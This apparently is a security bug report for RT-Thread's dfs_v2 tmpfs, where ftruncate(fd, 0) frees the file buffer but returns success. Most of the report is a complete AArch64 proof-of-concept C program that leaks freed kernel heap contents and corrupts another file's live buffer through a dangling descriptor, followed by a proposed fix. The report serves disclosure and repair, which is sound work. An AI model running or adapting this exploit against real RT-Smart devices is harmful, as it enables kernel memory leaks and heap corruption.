[Bug] dfs_v2 tmpfs: ftruncate(fd, 0) frees the file buffer but reports success — use-after-free read/write and double free from a legal POSIX call #11902

ptr = rt_realloc(d_file->data, offset);
if (ptr == RT_NULL)
{
    rt_set_errno(-ENOMEM);
    return 0;          /* <-- reports SUCCESS */
}

/*
 * RT-Thread dfs_v2 tmpfs ftruncate(0) UAF PoC — freestanding RT-Smart user program.
 *
 * Bug (V1): dfs_tmpfs_truncate() (components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c)
 *   calls rt_realloc(d_file->data, 0). Both RT-Thread heap backends implement
 *   realloc(ptr, 0) as **free(ptr) + return NULL** (src/memheap.c rt_memheap_realloc,
 *   src/mem.c rt_smem_realloc). The NULL return is then treated as an allocation
 *   failure: the function returns 0 (= success!) while d_file->data is left
 *   dangling and d_file->size / vnode->size keep the old value.
 *   => any later read()/write()/unlink()/close() on the file operates on freed
 *      kernel heap memory: UAF read (info leak), UAF write (heap corruption),
 *      double free.
 *
 * Trigger is the perfectly legal POSIX call ftruncate(fd, 0).
 *
 * This program (unprivileged user process) does:
 *   1. mount tmpfs at /tmp2                      (svc 176, product boot-script equivalent)
 *   2. create /tmp2/a and fill it with a pattern (kernel heap buffer allocated)
 *   3. ftruncate(fd_a, 0) -> returns 0            [BUG: data freed, sizes stale]
 *   4. [leak]   read back via pread-equivalent lseek+read -> freed-chunk contents
 *              (memheap free-list pointers) instead of the old pattern
 *   5. [alias write] create /tmp2/b of the same size (reuses the freed chunk),
 *              write through dangling fd_a, read fd_b -> foreign file modified
 *   6. control: ftruncate(fd, 4096) grow path + normal IO still works, system alive
 *
 * Build: aarch64-linux-musleabi-gcc -nostdlib -static -no-pie -nostartfiles \
 *          -T lwp_poc.ld -O2 -ffreestanding -o ftrunc_uaf.elf ftrunc_uaf.c
 * Load : msh /> /ftrunc_uaf.elf          (requires: sys_log 1)
 */

typedef unsigned long u64;
typedef long          s64;
typedef unsigned int  u32;

static inline u64 sys_call7(u64 n, u64 a, u64 b, u64 c, u64 d, u64 e, u64 f)
{
    register u64 x8 __asm__("x8") = n;
    register u64 x0 __asm__("x0") = a;
    register u64 x1 __asm__("x1") = b;
    register u64 x2 __asm__("x2") = c;
    register u64 x3 __asm__("x3") = d;
    register u64 x4 __asm__("x4") = e;
    register u64 x5 __asm__("x5") = f;
    __asm__ volatile("svc #0"
                     : "+r"(x0)
                     : "r"(x8), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5)
                     : "memory", "cc");
    return x0;
}

/* numbers verified against func_table[] in the built rtthread.elf */
#define SYS_exit        1
#define SYS_read        2
#define SYS_write       3
#define SYS_lseek       4
#define SYS_open        5
#define SYS_close       6
#define SYS_unlink      118
#define SYS_mount       176
#define SYS_ftruncate   201
#define SYS_log         0xff

#define O_RDWR     0x00000002
#define O_CREAT    0x00000040
#define O_TRUNC    0x00000200
#define SEEK_SET   0

static int slen(const char *s) { int n = 0; while (s[n]) n++; return n; }
static void klog(const char *s) { sys_call7(SYS_log, (u64)s, slen(s), 0, 0, 0, 0); }

static char g_buf[160];
static void klog_hex(const char *tag, const void *data, int len)
{
    const unsigned char *d = data;
    for (int off = 0; off < len; off += 16)
    {
        char *p = g_buf;
        while (*tag) *p++ = *tag++;
        *p++ = '0' + (off / 16 % 10); *p++ = ':'; *p++ = ' ';
        for (int i = 0; i < 16 && off + i < len; i++)
        {
            u32 b = d[off + i];
            *p++ = "0123456789abcdef"[b >> 4];
            *p++ = "0123456789abcdef"[b & 0xf];
            *p++ = ' ';
        }
        *p = 0;
        klog(g_buf);
        tag = "";
    }
}
static void klog_val(const char *tag, u64 v)
{
    char *p = g_buf;
    while (*tag) *p++ = *tag++;
    *p++ = '0'; *p++ = 'x';
    for (int i = 15; i >= 0; i--)
    {
        u32 nib = (v >> (i * 4)) & 0xf;
        *p++ = nib < 10 ? '0' + nib : 'a' + nib - 10;
    }
    *p = 0;
    klog(g_buf);
}

#define FILE_A "/tmp2/a"
#define FILE_B "/tmp2/b"
#define BUFSZ  0x800          /* chunk size kept identical for allocator reuse */

static char pat_a[BUFSZ];
static char pat_b[BUFSZ];
static char rbuf[BUFSZ];

static void fill(char *buf, char c0, char c1)
{
    for (int i = 0; i < BUFSZ; i++) buf[i] = (i & 1) ? c1 : c0;
}

void _start(void)
{
    klog("[poc] dfs_v2 tmpfs ftruncate(0) UAF PoC start");

    /* 1. mount tmpfs at /tmp2 (mountpoint dir pre-created in rootfs image) */
    s64 m = (s64)sys_call7(SYS_mount, (u64)"tmp", (u64)"/tmp2", (u64)"tmp", 0, 0, 0);
    klog_val("[poc] mount(/tmp2, tmp) ret = ", (u64)m);

    /* 2. create file A with pattern -> kernel heap alloc for d_file->data */
    fill(pat_a, 'A', 'a');
    s64 fda = (s64)sys_call7(SYS_open, (u64)FILE_A, O_RDWR | O_CREAT, 0666, 0, 0, 0);
    klog_val("[poc] open(" FILE_A ") fd = ", (u64)fda);
    if (fda < 0) goto out;

    s64 n = (s64)sys_call7(SYS_write, fda, (u64)pat_a, BUFSZ, 0, 0, 0);
    klog_val("[poc] write(A pattern) n = ", (u64)n);

    /* control: ftruncate grow (non-zero) keeps working */
    s64 cg = (s64)sys_call7(SYS_ftruncate, fda, 0x1000, 0, 0, 0, 0);
    klog_val("[poc] control ftruncate(fd,4096) ret = ", (u64)cg);

    /* 3. THE BUG: ftruncate(fd, 0) — legal POSIX truncation */
    s64 r = (s64)sys_call7(SYS_ftruncate, fda, 0, 0, 0, 0, 0);
    klog_val("[poc] ftruncate(fd,0) ret = ", (u64)r);

    /* 4. UAF READ: sizes are stale, so the kernel happily memcpy's from the
     *    freed chunk: first 16 bytes are memheap freelist pointers, not 'A'/'a'. */
    sys_call7(SYS_lseek, fda, 0, SEEK_SET, 0, 0, 0);
    for (int i = 0; i < 64; i++) rbuf[i] = '.';
    n = (s64)sys_call7(SYS_read, fda, (u64)rbuf, 64, 0, 0, 0);
    klog_val("[poc] UAF read n = ", (u64)n);
    klog_hex("[poc] leaked", rbuf, 64);

    /* 5. UAF WRITE via alias: file B of the same size reuses the freed chunk */
    fill(pat_b, 'B', 'b');
    s64 fdb = (s64)sys_call7(SYS_open, (u64)FILE_B, O_RDWR | O_CREAT, 0666, 0, 0, 0);
    klog_val("[poc] open(" FILE_B ") fd = ", (u64)fdb);
    n = (s64)sys_call7(SYS_write, fdb, (u64)pat_b, BUFSZ, 0, 0, 0);
    klog_val("[poc] write(B pattern) n = ", (u64)n);

    /* write through the DANGLING file A onto (very likely) B's live buffer */
    static const char magic[] = "P0WNED-UAF-WRITE!";
    sys_call7(SYS_lseek, fda, 0, SEEK_SET, 0, 0, 0);
    n = (s64)sys_call7(SYS_write, fda, (u64)magic, sizeof(magic) - 1, 0, 0, 0);
    klog_val("[poc] UAF write via fd_a n = ", (u64)n);

    /* read B back through ITS fd: if it shows the magic, the freed A buffer
     * aliases B's live kernel heap buffer (cross-object corruption) */
    sys_call7(SYS_lseek, fdb, 0, SEEK_SET, 0, 0, 0);
    n = (s64)sys_call7(SYS_read, fdb, (u64)rbuf, 32, 0, 0, 0);
    klog_val("[poc] readback fd_b n = ", (u64)n);
    klog_hex("[poc] fd_b[0..32)", rbuf, 32);
    {
        const char *q = rbuf;
        int hit = 1;
        for (u32 i = 0; i < sizeof(magic) - 1; i++)
            if (q[i] != magic[i]) { hit = 0; break; }
        klog(hit ? "[poc] RESULT: UAF write crossed onto file B -> heap alias CONFIRMED"
                 : "[poc] RESULT: fd_b unchanged this round (allocator did not reuse; see GDB run)");
    }

    /* leave system alive: this is the non-destructive demo run.
     * double-free/crash variant is ftrunc_df.elf (same steps + unlink). */

    sys_call7(SYS_close, fda, 0, 0, 0, 0, 0);
    sys_call7(SYS_close, fdb, 0, 0, 0, 0, 0);
    klog("[poc] control: system still alive (msh returns normally)");
out:
    sys_call7(SYS_exit, 0, 0, 0, 0, 0, 0);
    for (;;) ;
}

static int dfs_tmpfs_truncate(struct dfs_file *file, off_t offset)
{
    ...
    if (offset < 0) return -EINVAL;
    if (offset == 0)                 /* explicit clear */
    {
        if (d_file->data) { rt_free(d_file->data); d_file->data = RT_NULL; }
        d_file->size = 0;
        file->vnode->size = 0;
        /* drop cached pages if RT_USING_PAGECACHE */
        return 0;
    }
    ptr = rt_realloc(d_file->data, offset);
    if (ptr == RT_NULL) return -ENOMEM;   /* propagate failure, NOT 0 */
    ...
}